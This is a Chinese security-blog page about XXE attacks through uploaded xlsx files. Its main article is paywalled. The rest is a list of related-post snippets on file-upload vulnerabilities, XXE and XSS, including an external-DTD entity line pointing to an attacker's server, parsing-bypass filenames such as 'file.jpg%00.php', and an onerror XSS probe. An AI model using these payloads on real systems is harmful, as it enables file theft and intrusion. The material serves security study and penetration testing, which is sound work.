文件上传xlsx之XXE漏洞

最新推荐文章于 2025-01-10 15:36:11 发布
原创 最新推荐文章于 2025-01-10 15:36:11 发布 · 2.6k 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#excel

excel 修改设置(将excel修改后缀名，解压缩方式)_下雨了620的博客-优快云博客_excel改为rar后没有xl1 新建一个excel文件2 修改后缀名为.zip格式3解压缩出文件夹4 文件结构如下，可以进行修改，给excel添加一些功能键可结合VBA添加事件。5修改完成后，全选文件，进行压缩。注：不要选sss文件夹来压缩，要全选文件。6 压缩文件格式选择.zip格式。7产生压缩文件8 修改后缀名9 打开文件成功，看到之前在https://blog.youkuaiyun.com/wodexiaoyang/article/de

最低0.47元/天 解锁文章

200万优质内容无限畅学
LAngle9
关注
【网络安全】测试文件上传漏洞的 5 种高级方法
等风来
08-26 1981
深入了解文件上传漏洞后，我们可以实现严重性影响，即使它不是 webshell RCE，它仍然可以通过其他方式损害服务器：读取文件（curl_exec）、XXE、XSS 和覆盖现有文件。
挖漏洞之文件上传
weixin_49349476的博客
12-10 1202
挖文件上传漏洞的方法总结，和一些经验
利用EXCEL进行XXE攻击
yggcwhat
05-01 1153
利用EXCEL进行XXE攻击
记一次xls文件上传导致的反射型XSS
weixin_44820552的博客
03-28 2436
跨站脚本攻击（XSS）是指Web程序代码中对⽤户提交的参数未做过滤或过滤不严，导致参数中的特殊字符破坏了HTML页⾯的原有逻辑，攻击者可以利⽤该漏洞执⾏恶意HTML/JS代码、构造蠕⾍、篡改页⾯实施钓鱼攻击、以及诱导⽤户再次登录，然后获取其登录凭证等。跨站脚本攻击分为反射型、存储型、Dom型。此次记录的是反射型跨站脚本。1.xss不能只关注web前端页面输入框2.文件上传点也可以尝试XSS，例如xls或PDF文件（PDF XSS可参考0x05。
上传漏洞
daqiangdetianxia的博客
10-10 379
容器名称 版本 文件名 说明 IIs 6.0 test.asp;.jpg、/test.asp/test.jpg 文件解析 IIS 7.0 test.jpg/.php 默认开启cpi.fi IIS 7.5 a.aspx.a;.a.aspx.jpg…jpg 默认开启cpi.fi Nginx 0.5.*、0.6.*、0.7<=0.765、0.8<=0.837 file.jpg%00.php 00截断 ...
记一次excel XXE漏洞
mingyqf的博客
07-04 2848
​ LSA / 2020-05-21 09:00:16 / 浏览数 20953
JAVA XXE 从原理到利用
2401_83799022的博客
05-31 1179
在搜到的文章中有一个令人在意的点，作者提到“由于是java的站，所以利用ftp协议读取文件”，java站和ftp协议有什么关系？简单来说就是将我们原本使用的远程服务器上的dtd变更为了服务器上的本地dtd，去redefine其中的参数实体，再结合报错实现回显。和正常的XXE攻击其实没有太大区别，只是把payload放到了解压后里面的xml中，然后再压缩回到pptx/word/xlsx，上传后在解析过程中就会触发XXE payload。需要关注的是最后一种，参数实体，在实际的XXE攻击中会用到。
一篇文章读懂Java代码审计之XXE
热门推荐
Summer's blog
05-13 1万+
前言   学习总结Java审计过程中笔记，审计方法。 阅读要求：有简单Java代码基础，了解漏洞原理。 漏洞简介    简单来说，XXE就是XML外部实体注入。当允许引用外部实体时，通过构造恶意内容，就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。 有回显    不说废话，先看效果，成功读取文本内容。    代码分析漏洞成因： public String xxeDo...
SRC漏洞挖掘经验分享
hongduilanjun的博客
09-04 257
状态显然不止有"成功"，肯定也有"失败"，不然它就没有意义了，也就是说如果存在注入，我们无需登录即可将JS注入用户界面，进而在用户登录后造成攻击。ENTITY % b SYSTEM "http://你服务器的IP/x.dtd">%b;MTIzNA==显然是base64编码后的结果，解码发现是1234，应该是用来进行身份验证的，不同用户的x值不同。结果并没有出现弹框，查看前端代码，onerror被替换为空了<img src=1 ="alert(1);</script>并没有出现弹框，说明<>被编码了。
各行业漏洞测试项.xlsx
10-28
各行业漏洞测试项（互联网行业、P2P金融行业、电商行业、政务行业）
web漏洞合集描述和修复建议.xlsx
03-02
企业对产品进行渗透测试时书面报告中的web漏洞描述，包含漏洞分类、漏洞名称、危险等级、漏洞描述、修复建议。
【Web安全】文件上传漏洞
Rei的博客
08-25 814
前言 上网过程中，我们经常会将一些如图片、压缩包之类的文件上传至文件服务器进行保存。而文件上传攻击指的是攻击者利用一些站点没有对文件的类型做很好的校验，上传了可执行的文件或脚本，并且通过脚本获得服务器上相应的权限，或者是通过诱导外部用户访问下载上传的病毒或木马，达到攻击的目的。 除了上述危害，我们还需防止用户将文件服务器当成免费的网盘无限制上传文件。 解决方案 文件类型白名单校验（仅允许部...
文件上传漏洞（全网最详细）
2301_82000445的博客
01-12 1970
自从学完文件上传后，寻思总结一下，但一直懒惰向后推迟，最近要准备面试了，就趁此机会写一下。文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。“文件上传” 本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。这种攻击方式是最为直接和有效的，所以我们需要思考的是如何绕过检测和过滤。
XXE 在文件上传当中的应用
最新发布
2401_83799022的博客
01-10 459
如果是CVE-2014-3529，那么我们直接使用docem工具进行生成payload就可以利用，具体原理不多叙述。在实际的src挖掘当中，svg格式上传的地方不是很多，通常来说当有svg上传的地方一般首先会尝试XSS。可以看到某个pdf文件当中还是有一些xml标签的，我们插入无回显的payload可以尝试一下。生成docx的payload，该工具会在每一个xml文件当中插入指定的payload。压缩后，在burp当中进行抓包，修改插入payload。注意压缩文件当中必须要有xml文件！
pikachu-文件上传+XXE+不安全的url跳转
qq_47804678的博客
03-22 409
们可以看到，刚把文件上传，还没有点击“开始上传”就已将弹出了警示框，没有交互就已经检测了文件的类型，说明他是在前端进行校验的。那么我们看一下代码：选择浏览，可以看到代码中有一个checkfiletxt（）的函数：我们尝试看一下这个函数，果然是他，然后把onchange值改为空，将这个函数删除：再次尝试上传php文件，发现成功上传。(但是只要重新刷新页面，代码就会恢复。服务端check尝试上传php文件，点击上传发现禁止上传，提示只能是图片格式：是一种标准化的方式来表示文档的性质和格式。
[CSAWQual 2019]Web_Unagi - 文件上传+XXE注入(XML编码绕过)
oZuoShen123的博客
10-10 1562
alice passwd1 Alice alice@fakesite.com CSAW2019 bob passwd2 Bob bob@fakesite.c
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值